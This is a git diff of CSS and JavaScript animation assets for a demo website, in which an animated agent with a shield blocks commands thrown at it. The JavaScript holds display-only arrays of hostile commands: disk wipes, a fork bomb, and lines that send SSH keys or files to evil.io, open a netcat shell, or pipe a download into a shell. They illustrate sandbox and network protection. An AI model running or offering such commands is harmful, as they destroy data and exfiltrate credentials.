color: var(--text-3);
|
||||
font-size: 12.5px;
|
||||
font-family: inherit;
|
||||
cursor: pointer;
|
||||
transition: background-color 0.25s ease, color 0.25s ease;
|
||||
}
|
||||
.anim2-tab:hover { color: var(--text-2); }
|
||||
.anim2-tab.is-active {
|
||||
background: rgba(169, 194, 240, 0.14);
|
||||
color: var(--accent-strong);
|
||||
}
|
||||
|
||||
/* ───────── 场景区 ───────── */
|
||||
|
||||
.anim2-stage {
|
||||
@ -44,18 +19,18 @@
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
/* 防御者:右侧,六边形 + 盾牌 */
|
||||
/* 防御者:右侧,六边形 + 盾牌(尺寸与 04 版本控制的智能体一致:70×70) */
|
||||
.defender {
|
||||
position: absolute;
|
||||
right: 36px;
|
||||
bottom: 26px;
|
||||
width: 96px;
|
||||
height: 96px;
|
||||
width: 70px;
|
||||
height: 70px;
|
||||
}
|
||||
.defender-avatar {
|
||||
display: block;
|
||||
width: 96px;
|
||||
height: 96px;
|
||||
width: 70px;
|
||||
height: 70px;
|
||||
color: var(--text-1);
|
||||
}
|
||||
.defender-avatar .astrion-avatar { width: 100%; height: 100%; }
|
||||
@ -63,10 +38,10 @@
|
||||
/* 盾牌举向左上方:顺时针倾斜(尖底朝左下),与六边形左上部分重叠遮挡,实色填充不透底 */
|
||||
.defender-shield {
|
||||
position: absolute;
|
||||
left: -26px;
|
||||
top: -12px;
|
||||
width: 70px;
|
||||
height: 70px;
|
||||
left: -19px; /* 与角色同比例(96→70,×0.729)等比缩小 */
|
||||
top: -9px;
|
||||
width: 51px;
|
||||
height: 51px;
|
||||
color: var(--accent);
|
||||
fill: var(--bg-1);
|
||||
transform: rotate(24deg);
|
||||
@ -118,8 +93,8 @@
|
||||
|
||||
.impact-ring {
|
||||
position: absolute;
|
||||
width: 56px;
|
||||
height: 56px;
|
||||
width: 41px; /* 随盾牌等比(56×0.729) */
|
||||
height: 41px;
|
||||
border: 2px solid var(--accent-strong);
|
||||
border-radius: 50%;
|
||||
opacity: 0;
|
||||
@ -134,22 +109,3 @@
|
||||
100% { opacity: 0; transform: translate(-50%, -50%) scale(1.35); }
|
||||
}
|
||||
|
||||
/* ───────── 底部说明行 ───────── */
|
||||
|
||||
.anim2-caption {
|
||||
flex: none;
|
||||
min-height: 46px;
|
||||
padding: 6px 2px 0;
|
||||
font-family: var(--font-sans);
|
||||
}
|
||||
|
||||
.caption-note {
|
||||
font-size: 12.5px;
|
||||
color: var(--ok);
|
||||
margin-top: 2px;
|
||||
animation: caption-in 0.3s ease both;
|
||||
}
|
||||
@keyframes caption-in {
|
||||
from { opacity: 0; transform: translateY(5px); }
|
||||
to { opacity: 1; transform: translateY(0); }
|
||||
}
|
||||
|
||||
@ -1,11 +1,7 @@
|
||||
/* 沙箱与网络授权动画 —— 场景式
|
||||
* 恶意命令从左侧抛物线射向持盾的智能体,撞击盾牌后字符炸开飞散,
|
||||
* 底部出现拦截说明。两个情节(沙箱/网络)手动切换。
|
||||
*/
|
||||
|
||||
/* 沙箱与网络授权动画 —— 可复用模块(主页 feature 行 / anim2-demo 页共用)
|
||||
* AnimSandbox.init(container):在容器内建 DOM(情节 tab + 场景 + 说明行),
|
||||
* 点击 tab 切换情节并从头播放,再次点击重播。
|
||||
* AnimSandbox.init(container):在容器内建 DOM 并自动无限循环播放——
|
||||
* 每轮随机 20 条恶意命令(15 短 + 5 长),弹道参数全随机(角度/速度/弧度各异),
|
||||
* 抛向持盾智能体,撞击后字符炸开飞散。无按钮、无说明行。
|
||||
*/
|
||||
window.AnimSandbox = (function () {
|
||||
'use strict';
|
||||
@ -13,10 +9,6 @@ window.AnimSandbox = (function () {
|
||||
function init(container) {
|
||||
container.innerHTML =
|
||||
'<div class="anim2-window">' +
|
||||
'<div class="anim2-tabs">' +
|
||||
'<button class="anim2-tab" data-mode="sandbox">沙箱拦截</button>' +
|
||||
'<button class="anim2-tab" data-mode="network">网络拦截</button>' +
|
||||
'</div>' +
|
||||
'<div class="anim2-stage">' +
|
||||
'<div class="defender">' +
|
||||
'<span class="defender-avatar"></span>' +
|
||||
@ -26,15 +18,12 @@ window.AnimSandbox = (function () {
|
||||
'</div>' +
|
||||
'<div class="impact-ring" aria-hidden="true"></div>' +
|
||||
'</div>' +
|
||||
'<div class="anim2-caption"></div>' +
|
||||
'</div>';
|
||||
|
||||
var stage = container.querySelector('.anim2-stage');
|
||||
var defender = container.querySelector('.defender');
|
||||
var shield = container.querySelector('.defender-shield');
|
||||
var ring = container.querySelector('.impact-ring');
|
||||
var caption = container.querySelector('.anim2-caption');
|
||||
var tabs = Array.prototype.slice.call(container.querySelectorAll('.anim2-tab'));
|
||||
|
||||
// 挂载六边形眼睛(眨眼 + 追踪)
|
||||
if (window.AstrionAvatar) {
|
||||
@ -43,12 +32,23 @@ window.AnimSandbox = (function () {
|
||||
|
||||
var gen = 0;
|
||||
|
||||
function sleep(ms) {
|
||||
return new Promise(function (r) { setTimeout(r, ms); });
|
||||
/* rAF 累计「可见时间」的等待:后台标签页 rAF 暂停,流程随之冻结,恢复时从冻结点继续——
|
||||
setTimeout 在后台只是降频不会停,会攒动画导致恢复瞬间全部放完 */
|
||||
function rafWait(ms) {
|
||||
return new Promise(function (resolve) {
|
||||
var acc = 0, last = performance.now();
|
||||
function tick(now) {
|
||||
acc += Math.min(now - last, 100); /* 恢复后首帧 dt 巨大,截断防跳变 */
|
||||
last = now;
|
||||
if (acc >= ms) { resolve(); return; }
|
||||
requestAnimationFrame(tick);
|
||||
}
|
||||
requestAnimationFrame(tick);
|
||||
});
|
||||
}
|
||||
|
||||
async function step(ms, myGen) {
|
||||
await sleep(ms);
|
||||
await rafWait(ms);
|
||||
if (myGen !== gen) throw new Error('cancelled');
|
||||
}
|
||||
|
||||
@ -185,45 +185,76 @@ window.AnimSandbox = (function () {
|
||||
shatter(block, hitX, hitY, hit.ang, w, h, offsets);
|
||||
}
|
||||
|
||||
/* ── 两个情节 ── */
|
||||
/* ── 无限循环:每轮随机 20 条(15 短 + 5 长),随机弹道射向盾牌 ── */
|
||||
|
||||
// 场景切换时 fire 的取消错误就地吞掉,避免 unhandled rejection 污染控制台
|
||||
function swallowCancel(e) {
|
||||
if (e && e.message !== 'cancelled') throw e;
|
||||
}
|
||||
|
||||
async function playSandbox(myGen) {
|
||||
// 三条命令方向/速度/弧度各异:基准中弧线、Windows 快平直弹、慢速高抛
|
||||
var cmds = [
|
||||
{ cmd: 'rm -rf /', startY: 118, vx: 250, g: 620, aim: 0 },
|
||||
{ cmd: 'del /f /s /q C:\\', startY: 84, vx: 420, g: 760, aim: -6 },
|
||||
{ cmd: 'mkfs /dev/sda1', startY: 152, vx: 200, g: 430, aim: 10 }
|
||||
];
|
||||
var jobs = [];
|
||||
for (var i = 0; i < cmds.length; i++) {
|
||||
jobs.push(fire(cmds[i].cmd, cmds[i], myGen).catch(swallowCancel));
|
||||
await step(780, myGen); // 错落间隔:前一个刚出手,下一个开始蓄力
|
||||
/* 短命令池(长度对齐原沙箱情节的 rm -rf / · del /f /s /q C:\ · mkfs /dev/sda1) */
|
||||
var SHORT_CMDS = [
|
||||
'rm -rf /',
|
||||
'del /f /s /q C:\\',
|
||||
'mkfs /dev/sda1',
|
||||
'sudo rm -rf ~',
|
||||
'format C:\\',
|
||||
'chmod -R 777 /',
|
||||
'wipefs -a /dev/sdb',
|
||||
':(){:|:&};:',
|
||||
'rm -rf /home',
|
||||
'rd /s /q C:\\',
|
||||
'dd of=/dev/sda',
|
||||
'rm -rf /usr',
|
||||
'fdisk /dev/sda',
|
||||
'shutdown -h now',
|
||||
'mkfs.ext4 /dev/sdb'
|
||||
];
|
||||
/* 长命令池(长度对齐原网络情节的 curl/scp 外传命令) */
|
||||
var LONG_CMDS = [
|
||||
'curl -T 数据.zip evil.io',
|
||||
'scp ~/.ssh/id_rsa evil.io',
|
||||
'curl -T C:\\pw.xlsx evil.io',
|
||||
'nc evil.io 4444 -e /bin/sh',
|
||||
'curl evil.io/x.sh | bash',
|
||||
'wget evil.io/m -O- | sh',
|
||||
'tar czf - ~ | nc evil.io 4444'
|
||||
];
|
||||
|
||||
function rand(a, b) { return a + Math.random() * (b - a); }
|
||||
function shuffled(arr) {
|
||||
var a = arr.slice();
|
||||
for (var i = a.length - 1; i > 0; i--) {
|
||||
var j = Math.floor(Math.random() * (i + 1));
|
||||
var t = a[i]; a[i] = a[j]; a[j] = t;
|
||||
}
|
||||
await Promise.all(jobs);
|
||||
await step(320, myGen);
|
||||
showCaption('你的文件没有被改动');
|
||||
return a;
|
||||
}
|
||||
|
||||
async function playNetwork(myGen) {
|
||||
// 三条命令方向/速度/弧度各异;Unix 与 Windows 路径都有
|
||||
var cmds = [
|
||||
{ cmd: 'curl -T 数据.zip evil.io', startY: 92, vx: 320, g: 700, aim: -6 },
|
||||
{ cmd: 'scp ~/.ssh/id_rsa evil.io', startY: 122, vx: 240, g: 560, aim: 2 },
|
||||
{ cmd: 'curl -T C:\\pw.xlsx evil.io', startY: 152, vx: 190, g: 460, aim: 10 }
|
||||
];
|
||||
var jobs = [];
|
||||
for (var i = 0; i < cmds.length; i++) {
|
||||
jobs.push(fire(cmds[i].cmd, cmds[i], myGen).catch(swallowCancel));
|
||||
await step(880, myGen);
|
||||
/* 一轮 20 条:短池抽 15 + 长池抽 5,合并乱序;
|
||||
弹道参数全随机(起点高度/水平初速/重力/瞄点微调)→ 每条弧线角度都不同 */
|
||||
function pickCommands() {
|
||||
var picks = shuffled(SHORT_CMDS).slice(0, 15).concat(shuffled(LONG_CMDS).slice(0, 5));
|
||||
return shuffled(picks).map(function (cmd) {
|
||||
return {
|
||||
cmd: cmd,
|
||||
startY: rand(70, 230),
|
||||
vx: rand(190, 430),
|
||||
g: rand(430, 780),
|
||||
aim: rand(-9, 12) /* 随盾牌等比(原 -12~16 × 0.729) */
|
||||
};
|
||||
});
|
||||
}
|
||||
|
||||
async function loopForever(myGen) {
|
||||
while (myGen === gen) {
|
||||
var cmds = pickCommands();
|
||||
for (var i = 0; i < cmds.length; i++) {
|
||||
fire(cmds[i].cmd, cmds[i], myGen).catch(swallowCancel);
|
||||
await step(rand(560, 860), myGen); /* 错落节奏:前一个刚出手,下一个开始蓄力 */
|
||||
}
|
||||
await step(600, myGen); /* 轮间稍停 */
|
||||
}
|
||||
await Promise.all(jobs);
|
||||
await step(320, myGen);
|
||||
showCaption('数据没有离开这台机器');
|
||||
}
|
||||
|
||||
/* ── 撞击:碎裂字符粒子 + 冲击环 + 防御者后坐 ── */
|
||||
@ -325,41 +356,19 @@ window.AnimSandbox = (function () {
|
||||
defender.classList.add('is-hit');
|
||||
}
|
||||
|
||||
function showCaption(noteText) {
|
||||
caption.appendChild(el('div', 'caption-note', noteText));
|
||||
}
|
||||
|
||||
/* ── 调度 ── */
|
||||
|
||||
var PLAYERS = { sandbox: playSandbox, network: playNetwork };
|
||||
|
||||
function setActiveTab(mode) {
|
||||
tabs.forEach(function (t) {
|
||||
t.classList.toggle('is-active', t.dataset.mode === mode);
|
||||
});
|
||||
}
|
||||
|
||||
function play(mode) {
|
||||
gen += 1;
|
||||
var myGen = gen;
|
||||
// 清场:飞行块、碎片、说明、冲击环
|
||||
Array.prototype.slice.call(stage.querySelectorAll('.cmd-projectile, .cmd-shard')).forEach(function (n) {
|
||||
n.parentNode.removeChild(n);
|
||||
});
|
||||
caption.innerHTML = '';
|
||||
ring.classList.remove('is-active');
|
||||
defender.classList.remove('is-hit');
|
||||
setActiveTab(mode);
|
||||
PLAYERS[mode](myGen).catch(function (e) {
|
||||
if (e && e.message !== 'cancelled') throw e;
|
||||
});
|
||||
}
|
||||
|
||||
tabs.forEach(function (t) {
|
||||
t.addEventListener('click', function () { play(t.dataset.mode); });
|
||||
});
|
||||
|
||||
play('sandbox');
|
||||
/* ── 启动:进入视口后开始无限循环(页面打开时用户可能还没滚到这里,避免错过开场);
|
||||
gen 固定不再递增(无重播入口),粒子/飞行各自的生命周期自清理 ── */
|
||||
var started = false;
|
||||
var io = new IntersectionObserver(function (entries) {
|
||||
if (!started && entries[0].isIntersecting) {
|
||||
started = true;
|
||||
io.disconnect();
|
||||
loopForever(gen).catch(function (e) {
|
||||
if (e && e.message !== 'cancelled') throw e;
|
||||
});
|
||||
}
|
||||
}, { threshold: 0.3 });
|
||||
io.observe(container);
|
||||
}
|
||||
|
||||
return { init: init };
|
||||
|
||||
269
demo/site-assets/anim-version.css
Normal file
@ -0,0 +1,269 @@
|
||||
/* 版本控制动画 —— 模块样式(主页 feature 行 / anim4-demo 页共用)
|
||||
无边框无底色,融于星空;无 glow。token(--text-1 等)由宿主页面提供。
|
||||
类名一律 anim4- 前缀,避免与 01~03 模块冲突。 */
|
||||
|
||||
.anim4-window {
|
||||
position: relative;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
/* 舞台:固定 540×380 逻辑尺寸,JS 按容器等比缩放居中(transform: translate+scale) */
|
||||
.anim4-stage {
|
||||
position: absolute;
|
||||
left: 50%;
|
||||
top: 50%;
|
||||
width: 540px;
|
||||
height: 380px;
|
||||
overflow: hidden;
|
||||
user-select: none;
|
||||
-webkit-user-select: none;
|
||||
}
|
||||
|
||||
/* ───────── 用户指令气泡(右上角堆叠) ───────── */
|
||||
/* 新气泡从下面浮现,旧的上移跑出可视区(不销毁,倒带时随堆叠回落);
|
||||
容器高度 = 2.5 个气泡 + 间距,顶部渐隐遮罩 = 边缘虚化。
|
||||
进出场全由 JS tween 驱动 margin/transform(rAF 可见时间),不用 CSS transition、不 tween height。 */
|
||||
.anim4-bubbles {
|
||||
position: absolute;
|
||||
right: 8px;
|
||||
top: 2px;
|
||||
width: 248px;
|
||||
height: 84px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
justify-content: flex-end;
|
||||
overflow: hidden;
|
||||
z-index: 30;
|
||||
-webkit-mask-image: linear-gradient(to bottom, transparent 0, #000 26px);
|
||||
mask-image: linear-gradient(to bottom, transparent 0, #000 26px);
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
/* 单条气泡:风格同 01 的用户气泡(accent 底深字、右下小尾巴),不变色 */
|
||||
.anim4-bubble {
|
||||
flex: none;
|
||||
align-self: flex-end;
|
||||
max-width: 236px; /* 兜底最长指令「我让你整理工作区,不是让你全删了!」17 字单行放下 */
|
||||
margin-top: 6px;
|
||||
padding: 6px 11px;
|
||||
background: var(--accent);
|
||||
color: var(--bg-0);
|
||||
font-size: 12px;
|
||||
line-height: 1.35;
|
||||
border-radius: 10px 10px 3px 10px;
|
||||
}
|
||||
|
||||
/* 湮灭碎片:回卷时被时间抹掉的指令字符(逐字 span,JS 物理驱动) */
|
||||
.anim4-shard {
|
||||
position: absolute;
|
||||
left: 0;
|
||||
top: 0;
|
||||
color: var(--accent);
|
||||
font-size: 12px;
|
||||
line-height: 1.35;
|
||||
white-space: nowrap;
|
||||
z-index: 40;
|
||||
pointer-events: none;
|
||||
will-change: transform, opacity;
|
||||
}
|
||||
|
||||
/* ───────── 纸(3D 斜铺的工作台) / 终端 ───────── */
|
||||
|
||||
.anim4-paper {
|
||||
position: absolute;
|
||||
left: 268px;
|
||||
top: 190px;
|
||||
width: 192px;
|
||||
height: 122px;
|
||||
transform: perspective(760px) rotateX(42deg) rotateZ(-7deg); /* 尺寸/倾斜与 03 一致;位置比 03 低 60px(避让右上气泡区) */
|
||||
z-index: 15;
|
||||
will-change: transform;
|
||||
}
|
||||
|
||||
.anim4-paper-sheet {
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background: var(--bg-panel);
|
||||
border: 1px solid var(--line);
|
||||
border-radius: 6px;
|
||||
padding: 18px 16px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 14px; /* 与 03 纸页行距一致 */
|
||||
transition: background 0.3s ease;
|
||||
}
|
||||
.anim4-paper.is-term .anim4-paper-sheet { background: var(--bg-1); }
|
||||
|
||||
/* 内容行(行宽由 JS 逐帧驱动,不用 transition) */
|
||||
.anim4-pl {
|
||||
position: relative;
|
||||
width: 0; /* 初始是空纸:宽度由 JS 逐帧写入;不写死 100% 会默认撑满 */
|
||||
height: 4px;
|
||||
border-radius: 2px;
|
||||
background: var(--text-3);
|
||||
opacity: 0.75;
|
||||
transition: opacity 0.25s ease;
|
||||
}
|
||||
.anim4-paper.is-term .anim4-pl { opacity: 0; }
|
||||
.anim4-pl-end {
|
||||
position: absolute;
|
||||
right: 0;
|
||||
top: 50%;
|
||||
width: 0;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/* 终端层:叠在纸面上,morph 时淡入 */
|
||||
.anim4-term {
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
padding: 16px 16px;
|
||||
font-family: var(--font-mono);
|
||||
font-size: 12px;
|
||||
line-height: 1.75;
|
||||
color: var(--text-2);
|
||||
opacity: 0;
|
||||
overflow: hidden; /* 抢救段行多上滚时,裁掉滚出纸面的行 */
|
||||
transition: opacity 0.3s ease;
|
||||
}
|
||||
/* 内容上滚动画在 body 内层做:term 自身 transform 会连同裁剪区一起跑 */
|
||||
.anim4-term-body { transition: transform 0.25s ease; }
|
||||
.anim4-paper.is-term .anim4-term { opacity: 1; }
|
||||
.anim4-term-line {
|
||||
display: flex;
|
||||
align-items: baseline;
|
||||
white-space: nowrap;
|
||||
}
|
||||
.anim4-term-p { color: var(--accent); margin-right: 6px; }
|
||||
.anim4-term-c { color: var(--text-1); }
|
||||
.anim4-term-out {
|
||||
color: var(--text-3);
|
||||
visibility: hidden;
|
||||
}
|
||||
.anim4-term-out.is-on { visibility: visible; }
|
||||
.anim4-term-new {
|
||||
visibility: hidden;
|
||||
}
|
||||
.anim4-term-new.is-on { visibility: visible; }
|
||||
.anim4-term-caret {
|
||||
display: inline-block;
|
||||
width: 7px;
|
||||
height: 13px;
|
||||
margin-left: 1px;
|
||||
vertical-align: -2px;
|
||||
background: var(--accent);
|
||||
animation: anim4-caret 0.85s steps(1) infinite;
|
||||
}
|
||||
@keyframes anim4-caret { 50% { opacity: 0; } }
|
||||
|
||||
/* ───────── 智能体(全部动作由 JS 逐帧驱动,无 CSS 过渡,防 fill 冲突) ───────── */
|
||||
|
||||
.anim4-agent {
|
||||
position: absolute;
|
||||
left: 0;
|
||||
top: 0;
|
||||
width: 70px;
|
||||
height: 70px;
|
||||
z-index: 35;
|
||||
will-change: transform;
|
||||
pointer-events: none;
|
||||
}
|
||||
.anim4-agent-avatar {
|
||||
display: block;
|
||||
width: 70px;
|
||||
height: 70px;
|
||||
color: var(--text-1);
|
||||
}
|
||||
.anim4-agent-avatar .astrion-avatar { width: 100%; height: 100%; }
|
||||
/* 本动画里智能体在纸/终端/亭前活动:六边形填底色遮住后方元素(组件默认 fill:none 是状态栏规格,此处局部覆盖) */
|
||||
.anim4-agent-avatar .aa-frame { fill: var(--bg-0); }
|
||||
|
||||
/* ───────── 笔(结构同 03:外层定位 + 内层绕笔尖摇摆) ───────── */
|
||||
|
||||
.anim4-pen-pos {
|
||||
position: absolute;
|
||||
left: 0;
|
||||
top: 0;
|
||||
z-index: 40;
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
color: var(--accent);
|
||||
will-change: transform;
|
||||
transition: transform 0.45s cubic-bezier(.4, 0, .2, 1); /* 普通飞行用过渡 */
|
||||
}
|
||||
.anim4-pen-pos.is-live { transition: none; } /* 逐帧驱动时关闭过渡 */
|
||||
.anim4-pen {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
transform-origin: 11% 87.6%; /* 笔尖触点(同 03) */
|
||||
}
|
||||
/* 写字摇晃由 JS 逐帧驱动(振幅包络起止收敛到 0°,见 writeLine),不用 CSS 动画 */
|
||||
/* 甩飞:绕中心翻滚 */
|
||||
.anim4-pen.is-free { transform-origin: 50% 50%; animation: none; }
|
||||
/* 捡笔回正:过渡平滑转正,期间 origin 保持中心(结束移除后 rotate=0 不受 origin 影响) */
|
||||
.anim4-pen.is-returning { transition: transform 0.38s ease; transform-origin: 50% 50%; animation: none; }
|
||||
.anim4-pen-ref { visibility: hidden; fill: none; stroke: none; pointer-events: none; }
|
||||
|
||||
/* ───────── 时光机(整机 2D 矢量化:所有面 JS 手算透视投影、屏幕空间 SVG 绘制) ─────────
|
||||
wrapper 承担 2D 整体运动(下落/浮空/微倾);面的投影由 drawBooth() 每帧按偏航 24°+sway 计算。
|
||||
三层:后层 svg z1(左外墙 + clip 到门洞的内景)< 智能体 z2 < 前层 svg z3(关门即挡住他)。
|
||||
体:96×96×142 正方形柱;正面左右梃各 18 + 门洞 60(双开门);屋顶四棱锥底 108×108 高 28。
|
||||
智能体进出不做消失动画:走进深处被左梃自然遮挡。 */
|
||||
|
||||
.anim4-booth {
|
||||
position: absolute;
|
||||
left: 0;
|
||||
top: 0;
|
||||
width: 150px;
|
||||
height: 220px;
|
||||
z-index: 20;
|
||||
opacity: 0;
|
||||
will-change: transform;
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
/* 智能体挂载层:与门洞投影对齐的透明层(投影公式标定),夹在前后两层 svg 之间。
|
||||
无背景无裁剪:室内由内景多边形提供;超出门口的部分被前层双梃/门板自然遮住。 */
|
||||
.anim4-booth-inner {
|
||||
position: absolute;
|
||||
z-index: 2;
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
/* 矢量化覆盖层:屏幕空间绘制(原生 AA 永远锐利,根治 3D 纹理重采样锯齿);
|
||||
填色/描边语言延续线稿(bg-1 面 + text-1 棱;内景 bg-0、地板 bg-panel) */
|
||||
.anim4-booth-wire {
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
overflow: visible;
|
||||
pointer-events: none;
|
||||
}
|
||||
.anim4-booth-wire-back { z-index: 1; }
|
||||
#boothWireFront { z-index: 3; }
|
||||
.anim4-booth-wire polygon {
|
||||
fill: var(--bg-1);
|
||||
stroke: var(--text-1);
|
||||
stroke-width: 1.6;
|
||||
stroke-linejoin: round;
|
||||
}
|
||||
#bwInBack, #bwInSideR, #bwInCeil { fill: var(--bg-0); }
|
||||
#bwInFloor { fill: var(--bg-panel); }
|
||||
.bw-door-stripe { stroke: var(--text-1); stroke-width: 1.6; }
|
||||
.bw-door-knob { fill: var(--text-1); stroke: none; }
|
||||
#bwRod { stroke: var(--text-1); stroke-width: 2; stroke-linecap: round; }
|
||||
#bwKnob { fill: var(--bg-1); stroke: var(--text-1); stroke-width: 1.6; }
|
||||
|
||||
/* ───────── 地面接触阴影(中性灰,非发光) ───────── */
|
||||
|
||||
.anim4-shadow {
|
||||
position: absolute;
|
||||
height: 10px;
|
||||
border-radius: 50%;
|
||||
background: rgba(0, 0, 0, 0.35);
|
||||
z-index: 5;
|
||||
pointer-events: none;
|
||||
}
|
||||
.anim4-shadow-booth { width: 116px; opacity: 0; }
|
||||
.anim4-shadow-agent { width: 56px; opacity: 0; }
|
||||
1140
demo/site-assets/anim-version.js
Normal file
@ -1,5 +1,4 @@
|
||||
/* 修改记录动画 —— 智能体持笔在 3D 倾斜纸上改写内容,
|
||||
纸摊平后绿行抽出展开为红绿 diff。无边框无底色,融于星空;无 glow。 */
|
||||
/* 修改记录动画 demo 页壳 —— 布局与 token;动画本体样式在 anim-records.css */
|
||||
|
||||
:root {
|
||||
--bg-0: #0c1120;
|
||||
@ -11,11 +10,7 @@
|
||||
--line: rgba(168, 180, 210, 0.14);
|
||||
--accent: #a9c2f0;
|
||||
--accent-strong: #c1d4f6;
|
||||
--danger: #d47b6b;
|
||||
--ok: #7ba889;
|
||||
/* 收盒文件:与编辑中的 3D 纸同款底色,边框用更亮的白边(叠放分层清晰) */
|
||||
--file-paper: var(--bg-panel);
|
||||
--file-line: rgba(238, 240, 246, 0.35);
|
||||
--font-sans: -apple-system, BlinkMacSystemFont, "SF Pro Text", "PingFang SC",
|
||||
"Noto Sans SC", "Helvetica Neue", "Microsoft YaHei", sans-serif;
|
||||
--font-mono: ui-monospace, "SF Mono", "SFMono-Regular", Menlo, Consolas, monospace;
|
||||
@ -36,247 +31,5 @@ body {
|
||||
.stage { display: flex; flex-direction: column; align-items: center; gap: 18px; }
|
||||
.hint { font-size: 13px; color: var(--text-3); }
|
||||
|
||||
/* ───────── 动画容器 ───────── */
|
||||
|
||||
.anim3-window {
|
||||
width: 540px;
|
||||
height: 380px;
|
||||
}
|
||||
|
||||
.anim3-stage {
|
||||
position: relative;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
overflow: hidden;
|
||||
cursor: pointer;
|
||||
user-select: none; /* 演示区禁止选中文本,避免鼠标划过时出现系统选中高亮(黑光) */
|
||||
-webkit-user-select: none;
|
||||
}
|
||||
|
||||
/* ───────── 智能体(右上) ───────── */
|
||||
|
||||
.writer {
|
||||
position: absolute;
|
||||
right: 58px;
|
||||
top: 26px;
|
||||
width: 84px;
|
||||
height: 84px;
|
||||
}
|
||||
.writer-avatar {
|
||||
display: block;
|
||||
width: 84px;
|
||||
height: 84px;
|
||||
color: var(--text-1);
|
||||
}
|
||||
.writer-avatar .astrion-avatar { width: 100%; height: 100%; }
|
||||
|
||||
/* ───────── 笔(双层结构) ─────────
|
||||
外层 pen-pos:JS 逐帧/过渡定位,使笔尖精确落在文字进度点上;
|
||||
内层 svg:以笔尖为圆心旋转摇摆(transform-origin 在笔尖),
|
||||
既有晃动,笔尖又不会脱离位置。 */
|
||||
|
||||
.pen-pos {
|
||||
position: absolute;
|
||||
left: 0;
|
||||
top: 0;
|
||||
z-index: 40; /* 最高层:高于 3D 纸、盒子(30)与堆叠纸(21~23),笔不能被挡 */
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
color: var(--accent);
|
||||
will-change: transform;
|
||||
transition: transform 0.45s cubic-bezier(.4,0,.2,1); /* 飞行/移动用过渡 */
|
||||
}
|
||||
.pen-pos.is-live {
|
||||
transition: none; /* 写字逐帧驱动时关闭过渡 */
|
||||
}
|
||||
.writer-pen {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
/* origin = 笔尖视觉触点(SVG (2.65,21.02) → 40px 盒内 (4.4,35.0)),与 nibRef 同点:
|
||||
摇摆时笔尖钉住不动,只有笔身晃 */
|
||||
transform-origin: 11% 87.6%;
|
||||
}
|
||||
.writer-pen.is-writing {
|
||||
animation: pen-write 0.42s ease-in-out infinite;
|
||||
}
|
||||
/* 擦除:origin 切到笔尾橡皮触点(SVG (19.2,4.8) → 盒内 (32,8)),与 eraserRef 同点 */
|
||||
.writer-pen.is-erasing {
|
||||
transform-origin: 80% 20%;
|
||||
}
|
||||
@keyframes pen-write {
|
||||
0%, 100% { transform: rotate(-5deg); }
|
||||
50% { transform: rotate(6deg); }
|
||||
}
|
||||
|
||||
/* ───────── 3D 倾斜的纸 ───────── */
|
||||
/* perspective 让纸呈平行四边形(不倾斜就只是一条线) */
|
||||
|
||||
.paper3d {
|
||||
position: absolute;
|
||||
left: 280px;
|
||||
top: 130px;
|
||||
width: 192px;
|
||||
height: 122px;
|
||||
transform: perspective(760px) rotateX(42deg) rotateZ(-7deg);
|
||||
transform-style: preserve-3d;
|
||||
}
|
||||
|
||||
.paper-sheet {
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background: var(--bg-panel);
|
||||
border: 1px solid var(--line);
|
||||
border-radius: 6px;
|
||||
padding: 18px 16px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 14px;
|
||||
}
|
||||
|
||||
/* 内容行:横线代表一行内容(行宽由 JS 逐帧驱动,不用 transition;opacity 过渡供轮间换内容淡出) */
|
||||
.pline {
|
||||
position: relative;
|
||||
height: 4px;
|
||||
border-radius: 2px;
|
||||
background: var(--text-3);
|
||||
opacity: 0.75;
|
||||
transition: opacity 0.28s ease;
|
||||
}
|
||||
.paper3d.is-refilling .pline { opacity: 0; }
|
||||
/* 线右端锚点:0 尺寸,随线的 3D/倾斜变换,供 JS 实测真实右端点 */
|
||||
.pline-end {
|
||||
position: absolute;
|
||||
right: 0;
|
||||
top: 50%;
|
||||
width: 0;
|
||||
height: 0;
|
||||
margin-top: -0px; /* 点本身无尺寸,top:50% 即线厚中心 */
|
||||
}
|
||||
/* 写入行不再用绿色:与其他行同色(修改记录靠的是 diff 区,不是纸面变色) */
|
||||
|
||||
/* ───────── diff 区 ───────── */
|
||||
|
||||
.diff-view {
|
||||
position: absolute;
|
||||
left: 134px; /* 盒子水平中线(86+48),diff 中心对齐盒子中线 */
|
||||
transform: translateX(-50%); /* 克隆切片内 transform 已被覆盖,不受影响 */
|
||||
top: 0;
|
||||
font-family: var(--font-mono);
|
||||
font-size: 12.5px;
|
||||
line-height: 1.5;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 3px;
|
||||
z-index: 20; /* 盒内堆叠纸(21~23)之下——genie 时已隐藏,由切片接管 */
|
||||
border-radius: 6px;
|
||||
transition: background 0.25s ease;
|
||||
}
|
||||
/* genie 前:四行 diff 合为一张纸的底板(不加 outline:shorthand 不可过渡,会闪白框) */
|
||||
.diff-view.is-sheet {
|
||||
background: rgba(24, 30, 52, 0.92);
|
||||
}
|
||||
/* 轮间重置:禁用过渡,红绿底色/符号瞬时消失(否则恢复显示时会闪一下空白红绿块) */
|
||||
.diff-view.no-fade { transition: none; }
|
||||
.diff-view.no-fade .dline::before { transition: none; }
|
||||
.diff-view.no-fade .dsign { transition: none; }
|
||||
|
||||
/* ───────── 收盒文件卡片(单元素裁切式 genie) ─────────
|
||||
卡片全程同一个 DOM 元素:clip-path 多边形裁切(不压缩内容),
|
||||
body 每帧定位到轮廓包围盒,文字矢量缩小——全程清晰无损 */
|
||||
.file-flight {
|
||||
position: absolute;
|
||||
pointer-events: none;
|
||||
opacity: 0;
|
||||
